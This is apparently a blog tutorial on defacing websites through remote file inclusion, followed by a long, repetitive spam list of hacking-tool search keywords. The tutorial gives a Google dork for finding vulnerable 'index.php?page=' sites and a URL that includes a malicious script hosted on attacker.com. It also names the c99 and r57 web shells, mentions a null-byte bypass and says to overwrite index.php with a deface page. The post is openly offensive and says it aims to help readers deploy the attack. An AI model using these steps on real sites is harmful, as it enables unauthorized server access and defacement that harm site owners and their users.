HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related word

1. Hacker Tools For Ios
2. Hacker Security Tools
3. Hackrf Tools
4. Hack App
5. Hacking Tools For Windows
6. Hack Tools Download
7. Pentest Tools Port Scanner
8. Pentest Tools For Mac
9. What Are Hacking Tools
10. Hack Tool Apk No Root
11. Hacker
12. Pentest Tools Windows
13. Pentest Tools List
14. Ethical Hacker Tools
15. Hack Tools 2019
16. Pentest Tools Subdomain
17. How To Make Hacking Tools
18. Hacker Tools Software
19. Hackrf Tools
20. Pentest Tools For Ubuntu
21. Hacking Tools Github
22. Hacking Tools For Windows
23. Easy Hack Tools
24. Pentest Tools Alternative
25. Pentest Tools Tcp Port Scanner
26. Hacking Tools For Kali Linux
27. Black Hat Hacker Tools
28. Kik Hack Tools
29. Hack Tools For Pc
30. Hacking Tools Mac
31. Hacker Tools For Ios
32. Hacking Tools Download
33. What Are Hacking Tools
34. Pentest Tools Free
35. Hacking Tools For Kali Linux
36. Github Hacking Tools
37. Hacker Techniques Tools And Incident Handling
38. Hacking Tools Kit
39. Hacking Tools Download
40. World No 1 Hacker Software
41. Hacker Search Tools
42. Pentest Tools Windows
43. Hack Tools
44. Best Hacking Tools 2019
45. Hacking Tools For Pc
46. Blackhat Hacker Tools
47. Tools 4 Hack
48. Pentest Tools Tcp Port Scanner
49. Hacks And Tools
50. Pentest Tools
51. Nsa Hack Tools Download
52. Hacking Tools For Kali Linux
53. Pentest Tools Open Source
54. Underground Hacker Sites
55. How To Install Pentest Tools In Ubuntu
56. Hacker Tools Free
57. Github Hacking Tools
58. Pentest Tools Open Source
59. Pentest Recon Tools
60. Hackers Toolbox
61. How To Make Hacking Tools
62. Kik Hack Tools
63. Pentest Tools
64. Hacker Tools For Pc
65. Pentest Tools Website Vulnerability
66. Pentest Box Tools Download
67. Hack Tools Download
68. Hacking Tools Windows 10
69. Hak5 Tools
70. Hack Website Online Tool
71. Hacking Tools Windows 10
72. Hack Tools Github
73. Hack Apps
74. Bluetooth Hacking Tools Kali
75. Hacker Tools For Mac
76. Hack And Tools
77. Pentest Tools Kali Linux
78. Pentest Tools
79. Hacker Tools Linux
80. Hacker Tools Free Download
81. Hack App
82. Wifi Hacker Tools For Windows
83. Nsa Hack Tools
84. Hacker Tools Apk Download
85. Install Pentest Tools Ubuntu
86. Hacker Tools
87. Github Hacking Tools
88. Pentest Tools Github
89. Hacking Tools Name
90. Pentest Tools Open Source
91. Hack Tools 2019
92. Pentest Tools For Ubuntu
93. Hacking Tools For Windows 7
94. Pentest Tools Website
95. Pentest Tools Website
96. Pentest Tools Online